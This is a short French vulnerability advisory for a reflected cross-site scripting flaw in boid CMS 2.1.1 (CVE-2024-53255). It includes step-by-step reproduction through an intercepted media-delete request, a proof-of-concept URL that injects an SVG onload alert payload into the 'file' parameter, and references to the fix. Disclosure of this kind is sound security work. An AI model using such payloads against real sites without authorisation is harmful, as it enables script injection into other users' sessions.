
boid CMS 2.1.1 - Cross-Site Scripting (XSS) réfléchi
boid CMS 2.1.1 - Cross-Site Scripting (XSS) réfléchi
Une vulnérabilité de XSS réfléchi existe dans le point d'accès /admin?page=media dans le paramètre file, permettant à un attaquant d'injecter du code JavaScript arbitraire
1- Connectez-vous au CMS et naviguez vers la page de suppression (/admin?page=media).
2- Sélectionnez un fichier à supprimer et interceptez la requête à l'aide d'un outil proxy.
3- Modifiez le paramètre file dans la requête interceptée par :
<svg+onload%3dalert(document.domain)>
4 - Transférez la requête modifiée et le script injecté s'exécutera.
Preuve de concept (PoC) :
http://localhost/boidcms/admin?page=media&action=delete&file=<svg+onload%3dalert(document.domain)>&token=693b471d9ee886766b69fd0dab9d992cd7f0e1e483822b28b6e8bcde0cf502e4
Pour plus de détails : https://nvd.nist.gov/vuln/detail/CVE-2024-53255 https://www.cve.org/CVERecord?id=CVE-2024-53255 https://github.com/BoidCMS/BoidCMS/commit/42f4d703a87f5199bbd701b3495a26c91b9cfab7 https://github.com/BoidCMS/BoidCMS/security/advisories/GHSA-7q7m-cgw8-px4r